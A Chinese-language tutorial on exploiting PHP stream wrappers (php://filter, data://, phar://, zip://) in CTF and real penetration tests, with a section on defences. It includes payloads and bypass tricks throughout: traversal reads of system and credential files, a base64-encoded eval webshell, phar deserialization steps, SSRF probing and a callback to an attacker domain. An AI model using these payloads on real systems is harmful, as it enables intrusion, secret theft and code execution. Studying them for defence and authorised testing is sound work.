1. 项目概述:从CTF靶场到真实攻防的桥梁
在Web安全领域,PHP伪协议是一个老生常谈却又历久弥新的话题。很多刚入门的朋友可能是在CTF(Capture The Flag)比赛中第一次接触到它,比如SWPUCTF这类赛事中,一道简单的文件包含题目,用php://filter读取一下源码,就能轻松拿到flag。但比赛归比赛,现实中的漏洞利用远比这复杂和微妙。我见过不少安全从业者,能把CTF里的伪协议玩得飞起,可一旦面对一个真实的、有各种限制的生产环境,就有点无从下手了。
这篇内容,我想和你聊聊的,正是如何跨越这道鸿沟。我们不只停留在“怎么用”,更要深挖“为什么能用”以及“在什么情况下能用”。我会结合SWPUCTF这类典型题目中暴露出的问题,提炼出五个在真实漏洞挖掘与利用中至关重要的技巧。这些技巧不是孤立的命令,而是一套组合拳,涵盖了从漏洞发现、利用链构造到绕过防御的完整思路。无论你是正在打CTF的学生,还是初入行业的渗透测试工程师,相信这些从实战中踩坑总结出来的经验,都能帮你更深刻地理解PHP伪协议,并将其转化为真正的实战能力。
2. 核心原理与协议家族深度解析
在深入技巧之前,我们必须把地基打牢。PHP伪协议并非一个单一协议,而是一个由多个类似URL风格的封装协议组成的家族,它们允许你以流的形式访问各种输入/输出资源。理解它们的共性与个性,是利用它们的前提。
2.1 协议的工作机制与共同点
所有PHP伪协议都通过fopen()、file_get_contents()、include/require等文件系统函数来触发。当PHP解释器遇到一个以协议名://开头的路径时,它不会将其视为普通的文件系统路径,而是调用对应的协议处理程序(Wrapper)来获取“流”数据。这个过程有几个关键共同点:
- 上下文(Context)依赖:许多协议的行为受
stream_context_create()创建的上下文影响。例如,在通过http://协议发起请求时,你可以通过上下文设置请求头、超时时间、代理等。这在真实利用中,是绕过某些检测或访问内网服务的关键。 - allow_url_fopen与allow_url_include:这是两个至关重要的PHP配置指令。
allow_url_fopen:默认为On。它控制是否允许fopen()、file_get_contents()等函数打开URL(如http://、ftp://)作为文件。绝大多数伪协议(如php://, data://)的访问不受此选项限制,它主要影响的是真正的远程URL封装协议。allow_url_include:默认为Off!它控制是否允许include、require等文件包含函数将URL作为PHP代码来包含执行。这是区分“文件读取”和“代码执行”的关键阀门。在CTF中,为了出题方便,它常被开启;但在生产环境,99.9%的情况下它是关闭的,这直接封死了利用http://或ftp://远程包含执行代码的捷径。
- 流的概念:伪协议操作的是“流”,你可以把它想象成一根水管,数据从源头(source)通过这根水管流向目的地(如变量、标准输出)。过滤器(Filter)则可以串联在这根水管上,对流经的数据进行实时转换。
2.2 关键协议成员详解与真实场景联想
下面我们重点剖析几个在攻防中最常露面的成员:
php://input:这是一个只读流,用于访问请求的原始主体(raw POST data)。它不依赖于$_POST数组,而是直接读取HTTP请求体。这在CTF中常用于传递序列化字符串或PHP代码。- 真实场景联想:假设一个应用使用
file_get_contents(‘php://input’)来获取API的JSON数据。如果开发者未严格校验内容,攻击者可能通过注入特定字符,尝试将其返回值传递给include()或eval(),从而构造漏洞。不过,更常见的利用是与allow_url_include结合,但如前所述,生产环境此选项通常关闭。
- 真实场景联想:假设一个应用使用
php://filter:这是功能最强大、应用最广泛的伪协议。它本身是一个元封装器(meta-wrapper),设计用于在数据流打开时应用过滤器。其核心价值在于对本地文件进行编码转换。- 基本语法:
php://filter/read=转换过滤器/resource=目标文件 - 关键过滤器:
convert.base64-encode:将文件内容进行Base64编码。这是CTF中最经典的用法,用于读取包含敏感信息或PHP源码(因为包含PHP文件时,代码会被执行,而编码后内容以文本形式输出)的文件。string.rot13:进行ROT13编码。有时用于绕过简单的关键字过滤。convert.iconv.*:进行字符集转换。这是一个宝藏过滤器,在特定情况下可以用于构造特殊字符,绕过WAF(Web应用防火墙)的规则匹配。
- 真实场景联想:在代码审计中,如果你发现一处文件包含点,但无法直接看到源码(如
include($_GET[‘page’] . ‘.php’);),利用php://filter/read=convert.base64-encode/resource=index就能将index.php的源码以Base64形式输出,从而进行审计。这完全不依赖allow_url_include,因为它的目的是“读取”而非“包含执行”。
- 基本语法:
data://:数据流封装器。它允许将符合RFC 2397格式定义的数据内联(inline)作为文件流数据。- 基本语法:
data://[mediatype][;base64],数据 - 危险之处:当
allow_url_include=On时,data://可以被include,从而直接执行流中包含的PHP代码。例如:include(‘data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+’)会执行phpinfo()。 - 真实场景联想:由于
allow_url_include默认关闭,直接利用data://执行代码在生产环境中较为罕见。但它可能被用于其他用途,比如作为file_get_contents()的参数,向应用注入特定格式的数据,结合其他漏洞(如反序列化)进行利用。
- 基本语法:
file://:访问本地文件系统。这是默认封装器。当你在文件包含漏洞中直接传入/etc/passwd时,本质上使用的是file://协议。phar://:这个协议比较特殊,它用于访问PHAR(PHP归档文件)内的内容。PHAR文件本质上是一个压缩包,可以包含PHP代码和其他文件。phar://协议触发的反序列化操作,是近年来非常热门的攻击向量,它通常不依赖文件包含,而是通过file_exists()、fopen()等函数即可触发。
注意:区分“文件包含”和“文件读取”至关重要。
include(‘php://filter/read=convert.base64-encode/resource=config.php’)是“包含”一个经过过滤器的流,目的是让编码后的内容被“包含”进来,但由于内容是Base64文本而非有效PHP代码,所以不会执行,但include函数会尝试读取它,并以文本形式输出到页面(如果开启了错误显示)或通过其他方式(如echo)输出。而file_get_contents(‘php://filter/…’)则是明确地“读取”文件内容到一个字符串变量中。在漏洞利用时,要清楚目标函数的行为。
3. 从CTF到实战的五个关键技巧
掌握了原理,我们来看实战技巧。这五个技巧的难度和适用场景是递进的。
3.1 技巧一:精准识别潜在的协议利用点
在CTF里,题目往往会直白地告诉你存在文件包含(include($_GET[‘file’]))。现实中,你需要像侦探一样寻找线索。
- 敏感函数追踪:在代码审计时,重点关注以下函数:
include,require,include_once,require_once,fopen,file_get_contents,file,readfile,highlight_file,show_source等。查看它们的参数是否用户可控。 - 参数传递链条分析:用户输入(
$_GET,$_POST,$_COOKIE)可能经过多层传递、拼接,最终才传入文件操作函数。你需要梳理这条链条,确认中间是否有安全的过滤或校验。例如,$page = $_GET[‘p’]; include(‘./templates/’ . $page . ‘.html’);看起来限制了后缀,但如果$page是../../../etc/passwd呢?路径遍历(Directory Traversal)往往与伪协议利用相辅相成。 - 寻找非显式包含点:有些漏洞点不那么明显。例如,某些框架或自定义类库的自动加载机制(
spl_autoload_register)、模板引擎加载模板文件、配置文件读取函数,都可能成为伪协议的入口。 - 黑盒测试中的模糊试探:在渗透测试中,可以对所有疑似文件操作的参数进行模糊测试(Fuzzing)。尝试 payload 如:
php://filter/read=convert.base64-encode/resource=index,../../../../etc/passwd,data://text/plain,test。观察响应内容的长度、类型、错误信息的变化。一个常见的技巧是,如果参数被include,传入一个不存在的协议(如xxx://)可能会产生与传入普通不存在文件不同的警告信息,这有助于判断后端处理逻辑。
3.2 技巧二:利用filter协议绕过死亡代码与获取源码
这是最基础也最实用的技巧。当你可以控制一个文件包含的参数,但目标文件是.php后缀,直接包含会导致其中的PHP代码被执行,而你只想看到源码时,php://filter的编码能力就派上用场了。
实战案例拆解: 假设存在漏洞代码:include($_GET[‘module’] . ‘.php’);你想读取当前目录下的admin.php源码。
- Payload构造:
?module=php://filter/read=convert.base64-encode/resource=admin- 这里
resource=admin,因为后端会自动拼接.php,所以最终会读取admin.php。 read=convert.base64-encode指定了读取时应用的过滤器。
- 这里
- 结果处理:执行后,页面可能会显示一串Base64编码的字符串。你需要将其解码才能看到原始PHP源码。如果页面没有直接输出,可能输出在了HTML注释里,或者需要查看网页源代码。
高级绕过技巧: 有时,题目或真实环境会对php://、base64等关键字进行过滤。
- 多重编码绕过:
php://filter支持过滤器链。你可以对资源进行多次编码。- Payload:
php://filter/read=convert.base64-encode|convert.base64-encode/resource=admin - 这会将文件内容Base64编码两次。后端第一次解码后得到一次编码的结果,显示在页面上,你需要手动解码两次才能得到源码。这可以绕过一些简单的
base64_decode检测。
- Payload:
- 使用
string.rot13:php://filter/read=string.rot13/resource=admin。PHP代码经过ROT13后,<?php会变成<?cuc,不再是有效的PHP标签,因此不会被服务器执行,而是以文本形式输出。然后你可以对输出内容进行ROT13解码得到源码。这能绕过对base64关键词的过滤。 convert.iconv的妙用:这个过滤器用于转换字符编码。在某些极端情况下,可以利用编码转换产生特殊字符,破坏WAF的匹配规则。例如,从UTF-8转换到UTF-7,或者利用US-ASCII和UTF-16的转换来构造payload。这属于更高级的绕过技术,需要对字符编码有较深理解。
实操心得:在真实渗透测试中,用
php://filter读取源码往往是突破僵局的第一步。通过源码,你可以发现数据库配置、硬编码密钥、其他隐藏接口或更危险的漏洞(如反序列化)。拿到源码后,要优先查看配置文件(config.php,.env,database.php)、通用包含文件(common.php)和核心业务逻辑文件。
3.3 技巧三:结合路径遍历与目录爆破扩大战果
伪协议通常需要指定一个resource(资源),这个资源往往是服务器上的一个文件路径。在CTF中,这个路径可能是已知的(如flag.php)。在现实中,你需要自己寻找有价值的目标。
- 路径遍历(../):这是伪协议利用的最佳搭档。利用
../跳出当前目录限制,访问系统其他文件。- 例如:
?file=php://filter/read=convert.base64-encode/resource=../../../../etc/passwd尝试读取Linux系统用户列表。 - 例如:
?file=php://filter/read=convert.base64-encode/resource=../../config/database.php尝试读取上一级目录的数据库配置文件。 - Windows下的变体:可以使用
..\或../,以及利用C:\Windows\system.ini等已知文件进行测试。
- 例如:
- 目录与文件爆破:当你发现一个文件包含点,但不知道具体有哪些敏感文件时,就需要进行爆破。
- 字典准备:准备包含常见配置文件(
config.inc.php,web.config,.htaccess)、日志文件(access.log,error.log)、备份文件(.bak,.swp,.old)和系统文件(/etc/passwd,/proc/self/environ)的字典。 - 工具自动化:使用Burp Suite的Intruder、ffuf或dirsearch等工具,将伪协议payload作为前缀,字典中的文件名作为
resource的值进行爆破。例如,设置Payload为php://filter/read=convert.base64-encode/resource=../../../../§FILE§,然后加载字典。
- 字典准备:准备包含常见配置文件(
- 利用
/proc/self目录:在Linux系统中,/proc/self是一个指向当前进程目录的符号链接。通过它可以访问当前运行进程的信息。/proc/self/cmdline:查看启动当前进程的命令行参数,可能包含数据库密码等敏感信息。/proc/self/environ:查看进程的环境变量,可能泄露路径、密钥等信息。/proc/self/fd/[数字]:访问进程打开的文件描述符,有时可以读取到临时文件或日志。- Payload示例:
?file=php://filter/resource=/proc/self/environ
3.4 技巧四:洞察phar://协议的反序列化利用链
这是近年来将伪协议利用提升到一个新高度的技巧。phar://协议的核心危险不在于读取,而在于它会在解析phar文件元数据(metadata)时,自动触发反序列化操作。
利用原理:
- PHAR文件包含四部分:stub、manifest、文件内容、签名。其中manifest部分以序列化的形式存储文件的元信息。
- 当使用
phar://协议去访问一个PHAR文件中的子文件时(如phar:///path/to/exploit.phar/test.txt),PHP会首先解析整个PHAR文件,包括其反序列化manifest。 - 如果这个被反序列化的数据(metadata)是一个对象,并且该对象的类中定义了
__wakeup()或__destruct()魔术方法,那么这些方法就会在反序列化时被自动调用。 - 如果这些魔术方法中存在危险操作(如
system()、eval()、文件操作等),攻击者就可以通过精心构造的PHAR文件来执行任意代码。
最关键的一点:触发这个反序列化的函数非常广泛,不仅限于include。file_exists()、fopen()、file_get_contents()、copy()、unlink()等任何接受文件路径作为参数,并且内部实现支持流包装器的函数,在传入phar://路径时都可能触发。这大大增加了攻击面。
实战利用步骤:
- 寻找可利用的类:在目标应用的源码中,寻找包含魔术方法(
__wakeup,__destruct,__toString等)且方法内有危险操作的类。这类类被称为“POP链”的起点或中间节点。 - 构造恶意序列化数据:实例化找到的类,并设置其属性,使得当魔术方法被调用时,能执行我们想要的命令(如写入Webshell)。
- 生成恶意PHAR文件:编写一个PHP脚本,利用
Phar类将构造好的恶意对象存入PHAR文件的metadata中,然后生成.phar文件。 - 文件上传与触发:将生成的恶意PHAR文件上传到服务器(可能需要绕过文件类型检查,比如将其后缀改为
.jpg,但文件内容仍是PHAR格式)。然后,找到一个能接受文件路径参数的地方(如图片加载、文件下载、本地文件包含等),传入phar:///path/to/uploaded.jpg/somefile这样的路径来触发反序列化。
注意事项:
phar://反序列化在PHP 8.0及以上版本默认不再自动反序列化metadata中的对象,除非设置了Phar::__construct()的$flags参数。但在PHP 7.x及以下版本中,此漏洞广泛存在。在审计或测试时,务必先确认目标PHP版本。
3.5 技巧五:上下文(Context)与协议组合的进阶利用
这是面向高阶场景的技巧,用于突破更复杂的限制。
- 利用
http://协议与上下文进行SSRF:当allow_url_fopen=On时,可以通过file_get_contents()等函数发起HTTP请求。结合流上下文(stream context),可以构造复杂的请求,用于服务端请求伪造(SSRF)。- 示例:探测内网服务。
// 假设存在漏洞代码:$url = $_GET['url']; $data = file_get_contents($url); $context = stream_context_create(['http' => ['method' => 'GET', 'header' => 'X-Forwarded-For: 127.0.0.1\r\n']]); // 攻击者可以传入:?url=http://192.168.1.1:8080/admin // 或者结合字典爆破内网端口:?url=http://192.168.1.1:%PORT%/ - 通过构造特定的Header(如
Host,X-Forwarded-For),有时可以绕过简单的IP或域名限制。还可以使用gopher://协议(如果支持)进行更底层的协议利用,攻击内网Redis、Memcached等服务。
- 示例:探测内网服务。
- 协议嵌套与组合:在某些过滤场景下,可以尝试协议的嵌套。
- 例如,极少数情况下,程序可能先对输入进行解码或处理。可以尝试
php://filter/read=convert.base64-decode/resource=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=。这里resource指向的是一个data://流,该流的内容是Base64编码的Webshell。整个payload先读取data://流的内容(即Base64编码的Webshell),然后通过convert.base64-decode过滤器进行解码,最终得到原始的Webshell代码。这种嵌套可以绕过一些简单的字符串匹配过滤。
- 例如,极少数情况下,程序可能先对输入进行解码或处理。可以尝试
- 利用
zip://与phar://处理压缩包:zip://和phar://都可以访问压缩包内的文件。如果应用允许上传压缩包并解压,但解压路径可控或存在文件包含,就可能构成利用。例如,上传一个包含恶意PHP文件的ZIP包,然后利用zip:///path/to/upload.zip%23shell.php(注意#需要编码为%23)来直接包含执行压缩包内的文件。这绕过了对上传文件后缀的检查。
4. 防御视角与安全开发建议
了解了攻击,才能更好地防御。从开发者和运维的角度,如何避免伪协议带来的风险?
- 严格的输入过滤与白名单:对于所有用户输入,尤其是用于文件操作、包含操作的参数,必须进行严格校验。最佳实践是使用白名单机制,只允许特定的、预定义的值。如果必须使用动态路径,应对输入进行严格的净化,过滤掉
../、://、phar、zip、data等危险字符和协议标识。可以使用basename()函数获取路径中的文件名部分,但要注意它可能无法处理所有情况。 - 关键的PHP配置:
- 将
allow_url_include设置为Off。这是最重要的一条,可以彻底阻断远程文件包含和data://协议执行代码的可能性。 - 在确保业务不需要从远程URL读取文件的前提下,将
allow_url_fopen也设置为Off,以降低SSRF风险。 - 在
php.ini中,可以通过disable_functions禁用危险函数,如system,exec,passthru,shell_exec,proc_open等。但这只是纵深防御的一环,无法完全防止伪协议利用。
- 将
- 使用安全的文件操作函数与模式:尽量避免使用动态包含。如果必须包含,使用绝对路径而非相对路径。使用
realpath()函数来解析路径,并检查解析后的路径是否在预期的目录内。 - 框架与库的安全使用:使用现代、活跃维护的PHP框架(如Laravel, Symfony),它们通常有更安全的文件处理和路由机制。及时更新框架和依赖库,修复已知的安全漏洞。
- Web应用防火墙(WAF):部署WAF可以帮助拦截常见的攻击payload,如包含
php://filter、../等的请求。但WAF并非万能,攻击者可能会使用编码、混淆等技术进行绕过。 - 代码审计与安全测试:在开发流程中引入代码安全审计和定期的渗透测试,主动发现潜在的伪协议利用点及其他安全漏洞。
5. 常见问题与排查技巧实录
在实际利用和防御排查中,总会遇到各种问题。这里记录一些常见的坑和解决思路。
问题1:使用php://filter读取文件,返回空白或警告“No such file or directory”。
- 排查思路:
- 路径问题:检查
resource参数指定的文件路径是否正确。使用绝对路径(如/var/www/html/config.php)通常比相对路径更可靠。尝试使用../进行目录遍历,或者先读取一个确定存在的文件(如index.php)来测试协议是否可用。 - 权限问题:Web服务器进程(如www-data, apache用户)可能没有读取目标文件的权限。尝试读取Web目录下的其他文件。
- 过滤器链错误:检查过滤器语法是否正确。多个过滤器用
|管道符连接,顺序是从左到右处理。read=和write=不能混用。 - 输出被截断或编码:如果读取的是二进制文件(如图片),Base64编码后输出到HTML页面可能会被浏览器解析或截断。查看网页源代码(Ctrl+U)获取完整响应。
- 路径问题:检查
问题2:包含phar://协议路径时,没有触发反序列化。
- 排查思路:
- PHP版本:确认目标PHP版本是否低于8.0。PHP >= 8.0 需要显式设置标志位。
- 文件后缀:尝试将PHAR文件的后缀改为
.phar。某些情况下,只有后缀为.phar时才会被识别。如果上传时限制了后缀,可以尝试在生成PHAR文件时,使用Phar::PHAR常量,并确保文件头正确。 - 触发函数:确认你使用的函数是否支持流包装器。
file_exists()和is_file()在某些PHP版本/配置下可能不会触发反序列化,优先使用file_get_contents()、fopen()测试。 - 元数据序列化:确认生成PHAR时,是否正确地将恶意对象设置到了
setMetadata()方法中。
问题3:目标对../、php等关键词进行了过滤。
- 绕过技巧:
- URL编码:对payload进行多次URL编码。例如,
../可以编码为%2e%2e%2f,服务器端可能会解码一次或多次。 - 超长路径:使用超长的
../序列,有时可以绕过简单的字符串匹配。 - 协议名称大小写:尝试
PHP://、Php://,PHP的流包装器处理可能不区分大小写。 - 使用
filter协议的编码能力:如前所述,使用convert.iconv.*过滤器进行字符转换,可能产生绕过效果。 - 双写绕过:如果过滤是简单的替换为空,可以尝试
....//(过滤掉../后变成../)或phphar://。
- URL编码:对payload进行多次URL编码。例如,
问题4:在真实渗透中,如何判断一个点是否真的存在文件包含漏洞?
- 技巧:
- 错误信息法:传入一个肯定不存在的协议,如
xxx://,观察返回的错误信息。如果提示类似“xxx://wrapper is disabled”或“failed to open stream”,说明后端尝试用流包装器打开它,存在利用可能。如果提示“file not found”,则可能只是普通的文件路径处理。 - 延时判断(盲注):如果页面没有明显回显,可以尝试利用
http://协议访问一个你控制的、响应很慢的服务器,或者使用php://filter读取一个很大的文件(如/dev/zero,但小心DoS),观察页面响应时间是否显著变长,从而判断漏洞是否存在。 - DNS外带:如果可以发起HTTP请求,尝试让目标访问一个包含唯一子域名的URL(如
http://your-unique-id.attacker.com),然后在你的DNS日志中查看是否有解析请求,来确认漏洞存在。
- 错误信息法:传入一个肯定不存在的协议,如
最后,我想强调的是,技术是双刃剑。本文深入探讨PHP伪协议的利用技巧,目的是为了帮助安全从业者更好地理解漏洞原理,从而构建更坚固的防御体系。在授权的安全测试中,请务必遵守法律法规和测试范围。在日常开发中,务必牢记这些安全准则,从源头杜绝漏洞的产生。安全是一个持续的过程,保持学习和对技术的敬畏,才能在这条路上走得更远。